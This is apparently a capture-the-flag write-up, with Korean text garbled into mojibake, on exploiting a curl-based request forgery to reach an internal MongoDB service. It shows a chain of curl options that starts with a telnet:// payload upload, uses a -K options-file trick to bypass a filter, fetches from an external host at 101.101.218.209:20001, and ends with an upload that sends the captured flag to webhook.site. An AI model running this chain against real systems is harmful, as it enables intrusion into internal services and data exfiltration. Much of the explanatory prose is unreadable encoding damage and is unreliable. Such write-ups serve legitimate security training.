๋ น์ด๋ฅผ ์คํํ๋ ๊ฒ์ผ๋ก ์ธ์ํ์ฌ ๋ฐ์ดํฐ ์ถ๋ ฅ์ด ๋์ง ์๋๋ค. ๊ฐ์ ๋ก timeout์์ผ์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅ์ํจ๋ค.
curl telnet://localhost:27017 -T payload.raw --max-time 1
๋ฌธ์ ์์ opt, data๋ฅผ ์ฌ์ฉํ๋๋ฐ ์ ์ฝ์กฐ๊ฑด์ด ์กด์ฌํ๋ค. ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด์ -K ์ต์ ์ ํ์ฉํ๋ฉด ๋๋ค.
-K ์ต์ ์ curl ๋ช ๋ น์ด์ ์ต์ ๋ค์ ํ์ผ์์ ๋ถ๋ฌ์ค๋ ๋ช ๋ น์ด๋ก, ์ด๋ฅผ ์ด์ฉํ๋ฉด ๋ก์ปฌ์ ์ ์ฅ๋ ํ์ผ์ ํตํด์ ํํฐ๋ง์ ์ฐํํ์ฌ ๋ชจ๋ curl ์ต์ ๋ค์ ํ์ฉ์ด ๊ฐ๋ฅํด์ง๋ค.
์ด ๊ณต๊ฒฉ process๋ ๋ค์๊ณผ ๊ฐ๋ค
# 1. ๋์ ์๋ฒ์ payload.raw ํ์ผ์ ์
๋ก๋ํ๋ค. (GET ํ์ผ)
# ์ฝ๋๋ฅผ ์
๋ก๋ํ ๋์ ์น์๋ฒ 101.101.218.209:20001
url : http://101.101.218.209:20001/payload.raw
opt : -o
data : GET
# 2. Raw ํ์ผ์ ์ด์ฉํ์ฌ mongo์๋ฒ๋ก ํ์ด๋ก๋๋ฅผ ์ ์กํ๋ curl ๋ช
๋ น์ด์ ํ์ํ ์ต์
์ด ๋ด๊ธด ํ์ผ์ ์
๋ก๋ ํ๋ค(POST ํ์ผ)
url : http://101.101.218.209:20001
opt : -o
data : POST
# ํด๋น ์นํ์ด์ง๊ฐ ๋ฐํํ๋ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค.
"""
-o /dev/null
-T /dev/null
--max-time 1
--url telnet://mongodb:27017
-o GET
-T GET
"""
# ํด๋น config ํ์ผ์ ์ด์ฉํ curl ๋ช
๋ น์ด๋ฅผ ์คํํ๋ฉด ๊ธฐ์กด GETํ์ผ์๋ payload.raw ๋ฐ์ดํฐ๊ฐ ๋ค์ด๊ฐ ์์๊ณ , ์คํ ๊ฒฐ๊ณผ์๋ payload.raw๋ช
๋ น์ด๋ฅผ ์คํํ์ฌ ๊ทธ ๊ฒฐ๊ณผ๊ฐ์ผ๋ก flag ๊ฐ ๋ด๊ธด ์ ๋ณด๊ฐ ์ ์ฅ๋ ๊ฒ์ด๋ค.
# 3. 2๋ฒ์์ ๋ฐ์ ํ์ด๋ก๋ ํ์ผ์ ์ด์ฉํ curl ๋ช
๋ น์ด ์คํ
url : http://www.example.com
opt : -k
data : POST
# 4. 3๋ฒ ์คํ ๊ฒฐ๊ณผ๋ก flag์ ๋ณด๊ฐ GETํ์ผ์ ์กด์ฌํ๋ค. GET ํ์ผ ๋ด์ฉ์ ์ฝ์ด ์จ๋ค.
url : www.webhook.site
opt : -T
data : GET
์์ ์์๋๋ก ๊ณต๊ฒฉ ์ํ์ webhook.site์์ ํ๋๊ทธ ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ